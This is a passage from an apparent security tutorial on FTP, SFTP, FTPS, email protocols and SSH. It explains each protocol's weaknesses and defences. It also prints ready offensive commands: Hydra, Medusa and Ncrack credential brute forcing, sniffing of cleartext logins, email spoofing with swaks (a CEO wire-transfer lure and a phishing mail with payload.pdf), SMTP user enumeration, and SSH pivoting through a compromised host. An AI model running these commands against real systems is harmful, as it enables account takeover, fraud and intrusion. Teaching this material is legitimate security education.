&lt;span class="c"&gt;# Response: 220 ProFTPD 1.3.5 Server (Debian) [...]&lt;/span&gt;
&lt;span class="c"&gt;# Or: 220 Microsoft FTP Service&lt;/span&gt;
&lt;span class="c"&gt;# Use version for vulnerability lookup&lt;/span&gt;

&lt;span class="c"&gt;# Bruteforce FTP credentials:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt ftp://target_ip
medusa &lt;span class="nt"&gt;-h&lt;/span&gt; target_ip &lt;span class="nt"&gt;-U&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt &lt;span class="nt"&gt;-M&lt;/span&gt; ftp

&lt;span class="c"&gt;# Capture FTP credentials in Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Filter: ftp.request.command == "USER" or ftp.request.command == "PASS"&lt;/span&gt;

&lt;span class="c"&gt;# FTP connection tracking with tcpdump:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'port 21 or port 20'&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate FTP on a network:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 21 &lt;span class="nt"&gt;--open&lt;/span&gt; 192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 SFTP — SSH File Transfer Protocol
&lt;/h3&gt;

&lt;p&gt;SFTP is NOT FTP over SSH (that is FTPS). It is an entirely different protocol — a subsystem of SSH that provides file transfer functionality.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SFTP characteristics:
  Port: 22 (same as SSH — runs as SSH subsystem)
  Encryption: full encryption via SSH (AES, ChaCha20)
  Authentication: SSH authentication (password, key-based)
  Channel: single encrypted channel (no separate data channel)
  Commands: binary protocol (not human-readable like FTP)

SFTP has no equivalent to FTP's cleartext credentials.
SFTP has no equivalent to FTP's cleartext file transfer.
SFTP is the correct replacement for FTP in all cases.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SFTP usage:&lt;/span&gt;
sftp user@host                              &lt;span class="c"&gt;# Interactive session&lt;/span&gt;
sftp &lt;span class="nt"&gt;-P&lt;/span&gt; 2222 user@host                      &lt;span class="c"&gt;# Non-standard SSH port&lt;/span&gt;

&lt;span class="c"&gt;# SFTP batch mode (automation):&lt;/span&gt;
sftp &lt;span class="nt"&gt;-b&lt;/span&gt; batch_file user@host                &lt;span class="c"&gt;# Execute commands from file&lt;/span&gt;

&lt;span class="c"&gt;# SFTP within scripts:&lt;/span&gt;
sftp user@host &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
cd /remote/directory
put localfile.txt
get remotefile.txt
ls
bye
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Use SSH key authentication (no password prompts in scripts):&lt;/span&gt;
sftp &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 user@host

&lt;span class="c"&gt;# Scan for SFTP capability (runs on SSH port):&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22 target_ip
&lt;span class="c"&gt;# If SSH is open, SFTP is almost certainly available&lt;/span&gt;
&lt;span class="c"&gt;# Try: ssh target_ip subsystem sftp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 FTPS — FTP Secure (FTP over TLS)
&lt;/h3&gt;

&lt;p&gt;FTPS adds TLS to FTP. It is NOT SFTP. It still has the dual-channel architecture, which creates firewall complexity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Two FTPS modes:

Explicit FTPS (FTPES):
  Client connects to port 21 (standard FTP)
  Client sends AUTH TLS command
  Negotiates TLS on control channel
  PASV for data channel (also TLS encrypted)

Implicit FTPS:
  Client connects to port 990 (dedicated FTPS port)
  TLS immediately negotiated
  No explicit AUTH command
  Data port: 989

FTPS vs SFTP comparison:
  Feature         FTPS           SFTP
  Protocol        FTP + TLS      SSH subsystem
  Port            21/990 + range  22
  Firewall        Complex        Simple
  Channels        Two            One
  Authentication  FTP auth + TLS SSH auth
  Encryption      TLS            SSH
  Legacy compat   Yes            No (different protocol)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; FTP should be eliminated from every environment. Every argument for keeping it ("it's only internal," "only trusted users," "we've always used it") can be countered with "it transmits credentials in cleartext." SFTP achieves everything FTP does, without the cleartext exposure. If you find FTP during an assessment — in IT or OT environments — it is a finding. Period.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. SMTP, POP3, and IMAP
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Email Architecture — Three Protocols, One System
&lt;/h3&gt;

&lt;p&gt;Email involves three distinct protocols working together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMTP (Simple Mail Transfer Protocol):    SENDING email
  Port 25: Server-to-server (MTA to MTA)
  Port 587: Client submission (MUA to MTA) — requires auth
  Port 465: SMTP over TLS (legacy, but still used)

POP3 (Post Office Protocol v3):          RETRIEVING email (download)
  Port 110: POP3 cleartext
  Port 995: POP3S (over TLS)

IMAP (Internet Message Access Protocol): RETRIEVING email (sync)
  Port 143: IMAP cleartext
  Port 993: IMAPS (over TLS)

Email flow:
  Sender → [SMTP/587] → Sender's MTA → [SMTP/25] → Recipient's MTA
           → Mailbox storage
  Recipient → [IMAP/IMAPS or POP3/POP3S] → Read email
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 SMTP — Simple Mail Transfer Protocol
&lt;/h3&gt;

&lt;p&gt;SMTP (RFC 5321) governs how email is transmitted between servers. Understanding SMTP is essential because email is the primary phishing and malware delivery vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMTP Session Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TCP connection established to port 25

S: 220 mail.example.com ESMTP Postfix
C: EHLO attacker.com                    ← Extended HELLO (ESMTP)
S: 250-mail.example.com Hello attacker
S: 250-SIZE 52428800
S: 250-STARTTLS                         ← TLS upgrade available
S: 250-AUTH LOGIN PLAIN                 ← Authentication methods
S: 250 DSN

C: MAIL FROM:&amp;lt;sender@attacker.com&amp;gt;      ← Envelope sender (can be spoofed)
S: 250 Ok

C: RCPT TO:&amp;lt;victim@example.com&amp;gt;         ← Recipient
S: 250 Ok

C: DATA                                 ← Start message body
S: 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;

C: From: CEO &amp;lt;ceo@legitimate.com&amp;gt;       ← Header From (displayed to user, can differ from envelope)
C: To: victim@example.com
C: Subject: Urgent: Wire Transfer Required
C: Date: Mon, 29 May 2026 10:00:00 +0000
C:                                       ← Blank line separates headers from body
C: Please urgently transfer $50,000 to account...
C: .                                    ← Single dot on line = end of message
S: 250 Ok: queued as ABC123

C: QUIT
S: 221 Bye
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The Critical Security Problem — Email Spoofing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;MAIL FROM&lt;/code&gt; (envelope sender) and the &lt;code&gt;From:&lt;/code&gt; header (displayed sender) can be completely different. A mail server that does not validate these can receive and deliver email claiming to be from any domain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Proof-of-concept email spoofing &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test &lt;/span&gt;only on systems you own&lt;span class="o"&gt;)&lt;/span&gt;:

&lt;span class="c"&gt;# Using sendmail/postfix locally:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Subject: Test
From: ceo@company.com
To: victim@company.com

This is a spoofed email"&lt;/span&gt; | sendmail &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"ceo@company.com"&lt;/span&gt; victim@company.com

&lt;span class="c"&gt;# Using swaks (Swiss Army Knife for SMTP):&lt;/span&gt;
swaks &lt;span class="nt"&gt;--to&lt;/span&gt; victim@target.com &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--from&lt;/span&gt; ceo@target.com &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# Spoofed From&lt;/span&gt;
      &lt;span class="nt"&gt;--server&lt;/span&gt; mail.target.com &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Subject: Urgent"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--body&lt;/span&gt; &lt;span class="s2"&gt;"Please approve this payment immediately"&lt;/span&gt;

&lt;span class="c"&gt;# Check if a mail server allows relaying (open relay):&lt;/span&gt;
swaks &lt;span class="nt"&gt;--to&lt;/span&gt; nonexistent@gmail.com &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--from&lt;/span&gt; fake@fake.com &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--server&lt;/span&gt; target_mail_server
&lt;span class="c"&gt;# If it accepts: open relay — will deliver email from anyone to anyone&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Email Authentication — SPF, DKIM, DMARC (Revisited from 1.4):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Without proper authentication:
  Anyone can send email claiming to be from your domain
  BEC (Business Email Compromise) attacks exploit this
  FBI reported $2.7 billion in BEC losses in 2022

Checking email authentication on a received email:
  Look at email headers in your mail client (View Source/Original)

  Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of sender@example.com) smtp.mailfrom=sender@example.com;
       dkim=pass header.i=@example.com header.s=selector1;
       dmarc=pass (p=REJECT sp=REJECT) header.from=example.com

  All three pass = legitimate email
  Any fail = suspicious — may be spoofed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SMTP Security Checks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check if STARTTLS is supported (TLS upgrade):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; mail.target.com:25 &lt;span class="nt"&gt;-starttls&lt;/span&gt; smtp
&lt;span class="c"&gt;# If no TLS: credentials and content transmitted in cleartext&lt;/span&gt;

&lt;span class="c"&gt;# Check for open relay:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-open-relay &lt;span class="nt"&gt;-p&lt;/span&gt; 25 mail.target.com

&lt;span class="c"&gt;# Enumerate SMTP users (VRFY/EXPN commands):&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smtp-enum-users &lt;span class="nt"&gt;--script-args&lt;/span&gt; smtp-enum-users.methods&lt;span class="o"&gt;={&lt;/span&gt;VRFY,EXPN,RCPT&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; 25 mail.target.com
&lt;span class="c"&gt;# VRFY: verify if user exists&lt;/span&gt;
&lt;span class="c"&gt;# EXPN: expand mailing list&lt;/span&gt;
&lt;span class="c"&gt;# RCPT TO: most servers allow testing valid recipients&lt;/span&gt;

&lt;span class="c"&gt;# Manual VRFY:&lt;/span&gt;
nc mail.target.com 25
EHLO test.com
VRFY admin@target.com       &lt;span class="c"&gt;# 250 = user exists, 550 = doesn't exist&lt;/span&gt;
VRFY user@target.com

&lt;span class="c"&gt;# Check SPF record:&lt;/span&gt;
dig TXT target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1"&lt;/span&gt;

&lt;span class="c"&gt;# Check DMARC:&lt;/span&gt;
dig TXT _dmarc.target.com

&lt;span class="c"&gt;# Send test email via SMTP for phishing simulation (authorised only):&lt;/span&gt;
swaks &lt;span class="nt"&gt;--to&lt;/span&gt; target@victim.com &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--from&lt;/span&gt; helpdesk@company.com &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--server&lt;/span&gt; internal-mail-server &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--tls&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--auth-user&lt;/span&gt; helpdesk &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--auth-password&lt;/span&gt; password &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s2"&gt;"Subject: Password Reset Required"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      &lt;span class="nt"&gt;--attach&lt;/span&gt; payload.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 POP3 vs IMAP — Security Differences
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POP3:
  Downloads email from server, optionally deletes server copy
  Email stored locally after download
  No sync between multiple devices (once downloaded on laptop, not on phone)
  Simple protocol — limited commands
  Credentials transmitted in cleartext unless POP3S (port 995)

  Authentication (plaintext on port 110):
  +OK POP3 server ready
  USER admin
  +OK
  PASS password123    ← Cleartext password on wire
  +OK 5 messages waiting

IMAP:
  Email stored on server — client syncs
  Multiple devices see same mailbox state
  Rich protocol — search, folders, flags
  Credentials transmitted in cleartext unless IMAPS (port 993)

  Why IMAP is the forensic gold mine:
  Deleted emails often remain server-side in Trash folder
  Read/unread status reveals when attacker accessed account
  Login records show access from multiple IPs (BEC investigation)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Brute force email credentials:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt imap://mail.target.com
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt pop3://mail.target.com
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt smtp://mail.target.com:587

&lt;span class="c"&gt;# Connect to IMAP manually (forensics):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; mail.target.com:993    &lt;span class="c"&gt;# IMAPS&lt;/span&gt;
&lt;span class="c"&gt;# A1 LOGIN user@domain.com password&lt;/span&gt;
&lt;span class="c"&gt;# A2 LIST "" "*"              ← List all folders&lt;/span&gt;
&lt;span class="c"&gt;# A3 SELECT INBOX&lt;/span&gt;
&lt;span class="c"&gt;# A4 FETCH 1:* (FLAGS ENVELOPE)    ← List all messages with metadata&lt;/span&gt;
&lt;span class="c"&gt;# A5 FETCH 1 BODY[]               ← Download message 1&lt;/span&gt;
&lt;span class="c"&gt;# A6 SELECT "Sent"               ← Access Sent folder&lt;/span&gt;
&lt;span class="c"&gt;# A7 SELECT "Deleted Items"       ← Recover deleted emails&lt;/span&gt;

&lt;span class="c"&gt;# Capture cleartext IMAP credentials:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'port 143'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"LOGIN|PASS"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Email protocols are the primary delivery mechanism for malware, phishing, and BEC attacks. SPF + DKIM + DMARC with p=reject is the only configuration that actively prevents domain spoofing — anything less is a gap. Cleartext POP3 and IMAP should not exist; IMAPS/POP3S are the minimum, and even better is requiring OAuth-based authentication.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. SSH — Secure Shell
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 SSH Architecture
&lt;/h3&gt;

&lt;p&gt;SSH (Secure Shell, RFC 4253) provides cryptographically secured remote shell access, file transfer (SFTP), and port forwarding. It was designed explicitly to replace Telnet and rlogin with an encrypted alternative.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSH Protocol Layers:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSH-TRANSPORT (RFC 4253):
  Negotiates: host key algorithm, cipher, MAC, compression
  Performs: key exchange (Diffie-Hellman or ECDH)
  Establishes: symmetric session key
  Provides: encryption, integrity, optional compression

SSH-USERAUTH (RFC 4252):
  Authentication methods:
    - publickey: verify signature with user's private key
    - password: encrypt password with session key, send to server
    - keyboard-interactive: challenge-response
    - hostbased: based on client hostname (dangerous — rarely used)
    - gssapi-with-mic: Kerberos/GSSAPI
    - none: used to determine what methods server accepts

SSH-CONNECTION (RFC 4254):
  Multiplexes multiple logical channels over one SSH connection:
    - Session channel: shell, command execution, subsystems (SFTP)
    - Direct-tcpip: local port forwarding (tunnel)
    - Forwarded-tcpip: remote port forwarding
    - X11: X11 forwarding
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSH Key Exchange:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSH connection setup:
1. Client connects to server TCP 22
2. Server sends identification string: SSH-2.0-OpenSSH_8.9
3. Client sends identification string: SSH-2.0-OpenSSH_8.9
4. Both parties negotiate algorithms (KEY EXCHANGE INIT):
   - Key exchange: curve25519-sha256 (preferred), diffie-hellman-group14-sha256
   - Host key: ssh-ed25519, rsa-sha2-512, ecdsa-sha2-nistp256
   - Cipher: chacha20-poly1305, aes256-gcm, aes128-ctr
   - MAC: hmac-sha2-256, hmac-sha2-512
5. Diffie-Hellman key exchange → shared secret
6. Session key derived from shared secret
7. Host key authentication:
   Server signs a hash of the negotiated parameters with its private host key
   Client verifies signature against trusted host public key
   → Proves server is who it claims (TOFU — Trust On First Use by default)
8. User authentication begins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSH Host Key Verification — The Security Foundation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;First connection to a new host:
  $ ssh user@192.168.1.100
  The authenticity of host '192.168.1.100' can't be established.
  ED25519 key fingerprint is SHA256:abc123...
  Are you sure you want to continue connecting (yes/no)?

This prompt is critical:
  YES: Accept and cache the host key (stored in ~/.ssh/known_hosts)
       Future connections verify against this cached key
  NO:  Decline — connection aborted

If host key changes later:
  WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
  ...
  POSSIBLE HACKS! SOMEONE IS DOING SOMETHING NASTY!

This warning means:
  A) The server's SSH keys were regenerated (legitimate — server reinstall)
  B) A MITM attack is redirecting your connection to a fake server
  C) The IP now points to a different server (legitimate — server replaced)

Action: Verify the host key out-of-band before accepting.
NEVER blindly accept a changed host key.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 SSH Authentication Methods
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Password Authentication:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;PreferredAuthentications&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;password user@host  &lt;span class="c"&gt;# Force password auth&lt;/span&gt;
&lt;span class="c"&gt;# Risk: brute force possible, password in memory, cleartext inside TLS (but TLS encrypted on wire)&lt;/span&gt;
&lt;span class="c"&gt;# Disable: PasswordAuthentication no in /etc/ssh/sshd_config&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Public Key Authentication (Recommended):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Generate key pair:&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"user@machine"&lt;/span&gt;    &lt;span class="c"&gt;# Ed25519 — best option&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 4096 &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"user@machine"&lt;/span&gt;  &lt;span class="c"&gt;# RSA 4096 — legacy compat&lt;/span&gt;

&lt;span class="c"&gt;# Files created:&lt;/span&gt;
&lt;span class="c"&gt;# ~/.ssh/id_ed25519       ← Private key (NEVER share this, protect with passphrase)&lt;/span&gt;
&lt;span class="c"&gt;# ~/.ssh/id_ed25519.pub   ← Public key (safe to share)&lt;/span&gt;

&lt;span class="c"&gt;# Deploy public key to server:&lt;/span&gt;
ssh-copy-id &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519.pub user@host
&lt;span class="c"&gt;# Appends to ~/.ssh/authorized_keys on server&lt;/span&gt;

&lt;span class="c"&gt;# Manual deployment:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_ed25519.pub | ssh user@host &lt;span class="s2"&gt;"mkdir -p ~/.ssh &amp;amp;&amp;amp; cat &amp;gt;&amp;gt; ~/.ssh/authorized_keys &amp;amp;&amp;amp; chmod 600 ~/.ssh/authorized_keys"&lt;/span&gt;

&lt;span class="c"&gt;# How it works:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Client sends: "I want to authenticate with key X"&lt;/span&gt;
&lt;span class="c"&gt;# 2. Server checks: is X in authorized_keys? YES&lt;/span&gt;
&lt;span class="c"&gt;# 3. Server sends challenge: random bytes encrypted with key X's public key&lt;/span&gt;
&lt;span class="c"&gt;# 4. Client decrypts with private key, signs the result&lt;/span&gt;
&lt;span class="c"&gt;# 5. Server verifies signature → only holder of private key could do this&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 SSH in Offensive Security
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;SSH Brute Force:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hydra SSH brute force:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt ssh://target_ip
hydra &lt;span class="nt"&gt;-l&lt;/span&gt; root &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt ssh://target_ip &lt;span class="nt"&gt;-t&lt;/span&gt; 4    &lt;span class="c"&gt;# -t = threads (4 for SSH)&lt;/span&gt;

&lt;span class="c"&gt;# Medusa:&lt;/span&gt;
medusa &lt;span class="nt"&gt;-h&lt;/span&gt; target_ip &lt;span class="nt"&gt;-U&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt &lt;span class="nt"&gt;-M&lt;/span&gt; ssh &lt;span class="nt"&gt;-t&lt;/span&gt; 4

&lt;span class="c"&gt;# Ncrack:&lt;/span&gt;
ncrack &lt;span class="nt"&gt;-p&lt;/span&gt; 22 &lt;span class="nt"&gt;--user&lt;/span&gt; root &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt target_ip

&lt;span class="c"&gt;# Default credentials common on IoT/OT:&lt;/span&gt;
&lt;span class="c"&gt;# root:root, admin:admin, admin:password, pi:raspberry (Raspberry Pi)&lt;/span&gt;
&lt;span class="c"&gt;# These are worth trying before a full brute force&lt;/span&gt;

&lt;span class="c"&gt;# Detect SSH brute force in logs:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Invalid user"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $10}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSH Tunnelling — Pivoting:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Local port forwarding:&lt;/span&gt;
&lt;span class="c"&gt;# Forward local port 8080 to internal web server through SSH:&lt;/span&gt;
ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 8080:192.168.2.100:80 user@192.168.1.100
&lt;span class="c"&gt;# Access 192.168.2.100:80 via localhost:8080&lt;/span&gt;

&lt;span class="c"&gt;# Remote port forwarding:&lt;/span&gt;
&lt;span class="c"&gt;# Expose attacker's listener through SSH to target's network:&lt;/span&gt;
ssh &lt;span class="nt"&gt;-R&lt;/span&gt; 4444:localhost:4444 user@192.168.1.100
&lt;span class="c"&gt;# Connections to 192.168.1.100:4444 reach attacker's localhost:4444&lt;/span&gt;

&lt;span class="c"&gt;# Dynamic (SOCKS) proxy:&lt;/span&gt;
ssh &lt;span class="nt"&gt;-D&lt;/span&gt; 1080 user@192.168.1.100    &lt;span class="c"&gt;# SOCKS5 proxy on localhost:1080&lt;/span&gt;
&lt;span class="c"&gt;# Use with proxychains for transparent pivoting:&lt;/span&gt;
proxychains nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; 10.10.10.0/24   &lt;span class="c"&gt;# Scan through SOCKS proxy&lt;/span&gt;

&lt;span class="c"&gt;# Autossh — persistent tunnels:&lt;/span&gt;
autossh &lt;span class="nt"&gt;-M&lt;/span&gt; 0 &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; 1080 user@pivot_host
&lt;span class="c"&gt;# -M 0: no monitoring (use ServerAliveInterval instead)&lt;/span&gt;
&lt;span class="c"&gt;# -f: run in background&lt;/span&gt;
&lt;span class="c"&gt;# -N: no command execution&lt;/span&gt;

&lt;span class="c"&gt;# Real-world pivoting example:&lt;/span&gt;
&lt;span class="c"&gt;# Access 10.10.10.0/24 (internal network) through compromised host 192.168.1.100:&lt;/span&gt;
ssh &lt;span class="nt"&gt;-D&lt;/span&gt; 9050 user@192.168.1.100 &lt;span class="nt"&gt;-N&lt;/span&gt; &amp;amp;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"socks5 127.0.0.1 9050"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/proxychains.conf
